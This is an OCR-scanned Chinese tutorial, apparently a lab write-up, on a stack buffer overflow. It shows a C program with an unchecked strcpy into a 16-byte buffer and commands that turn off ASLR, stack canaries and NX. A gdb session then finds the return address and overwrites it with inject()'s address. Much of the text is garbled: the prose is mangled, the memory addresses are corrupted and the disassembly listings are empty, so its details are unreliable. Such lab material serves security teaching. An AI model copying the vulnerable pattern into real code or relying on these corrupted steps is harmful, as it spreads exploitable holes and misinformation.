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2) {EZumHi N T4 sudo apt-get install gec -y, F#ZEEE gee, %% 5 UG TE 2 N
gee --version B F & 1 LHY]

version

ation, Inc.
or uv11u conditions There is NO

HANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

3) 7E&ufiH 4 N4 sudo apt-get install gec- multlhb -y, ¥ goe SCRFAE X Gm o

2. QA CiE %ﬁﬂiﬁ: StackOverﬂow ¢, 4 5 MRFE T o 75 32 B8R 250 P AN 18 B 20k B8 2 inject,
AWHE LY input PIME, 8T strepy BREE A7 H IR [T HIHEBY param 78 55 B0 PR 2L inject
H Ik



#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char input[] = "AAAAABBBBBCCCCCD";

void inject() {

printf("*****inject success*****\n");

}
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. void func_call() {

char param[16];
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strcpy(param, input);
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. int main() {
func_call();
printf("main exit...\n");
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3. TE&ui i N4 sudo sysctl -w kernel.randomize va_space=0, J<MIHERE 2 [H]HbEREHL
e IE -

4, TELumPEINTS gee -Wall -g -0 StackOverflow StackOverflow.c -fno-stack-protector -z
execstack -m32 ZwFMARET, Hh -g ARFRCHAPTARAHLH], -fo-stack-protector 1K
F KM Stack Canary fR¥, -zexecstack fFZEH NX (No-eXecute protect) {-#, -m32
RERAEYm M B g i3 H brda e 32 .

. A gdb TEXTMHARE P AT R, B AR giE B SO N A PAT S
1) TEAuF ¥ N dr 4 gdb StackOverflow FF 4G 1H

$ gdb StackOverflow

Copyright (C) 2023 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <

This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and “"show warranty" for details.

This GDB was configured as "x86_64-1inux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

Find the GDB manual and other documentation resources online at:

< >.

For help, type "help".

Type "apropos word" to search for commands related to "word"...
Reading symbols from

(gav) ll

2) WIANA b 13, TS 1317 EN S, T EIER.
(gdb) b 13

Breakpoint 1 at : file



3) HANfir %, FHRMAdTS n, TFaRiERK.
(gdb) r
Starting program:

This GDB supports auto-downloading debuginfo from the following URLs:

Enable debuginfod for this session? (y or [n]) n

Debuginfod has been disabled.

To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit
[Thread debugging using libthread_db enabled]

Using host libthread db library "

Breakpoint 1, () at 113
warning: Source file is more recent than executable.
13 strcpy param

4) f\fir4 disassemble, BHEUFILHRIESHATIEN, =K 5 Fria AT A aTHAT1T.
(gdb) disassemble
Dump of assembler code for function

<+0>:

<+1>:

<+3>:

<+4>:

<+7>:

<+12>:
<+17>:
<+20>:
<+26>:
<+27>:
<+30>:
<+31>:
<+33>:
<+38>:
<+41>:
<+42>:
<+45>:

(gdb) i1 r ebp esp
ebp oxffffdoes oxffffdoes
esp Oxffffdose Oxffffdoso,

6) HiA2 p &param, TEEH param bk,

$1 = (char (*)[16])
7) A x 2xw Oxffffd068, 7% func call BEGR Akl %A\ @4 disassemble main,
RIHETR B E Y main B

(gdb) x /2xw Oxffffdoes
oxffffdozs 0x56556226
(gdb) disassemble main
Dump of assembler code for function
<+0>: (

<+4>:

<+7>:
<+10>:
<+11>:
<+13>:
<+14>:
<+15>:
<+20>:
<+26>:
<+31>:
<+34>:
<+40>:
<+41>:
<+46>:
<+49>:
<+54>:
<+57>:
<+58>:
<+59>:
<+60>:
<+63>:
End of assembler dump.




8) MR IRt ST E U SCAR . param BB HiE OxfFfd050 #5125 func call B&EUR [B] 3
Ik OxfIFd06C A 28 A1, BRIAG input & & 9“ 28 HiAT B FF+4 A7 inject BRZHIE ",
HiNTT4 p &inject, A inject R EHINE Y 0x565561ad. & E] Ubuntu K /N7,
ALK input WEE A “AAAAABBBBBCCCCCDDDDDEEEEEFFF\xad\x61\x56\x55 7.

(gdb) p &inject

S5 = (void (*)()) < >
9) 7EAIS MBI input J5 EH R IFFRT, (EL U4 gdb StackOverflow, A4
r Ffln, JFEETAE, KIN inject BREHIAA, Zodid, 45 R W EFR.

(gdb) r
Starting program:

This GDB supports auto-downloading debuginfo from the following URLs:
< >

Enable debuginfod for this session? (y or [n]) n

Debuginfod has been disabled.

To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]

Using host libthread_db library "

kxsxxinject successEr*%x




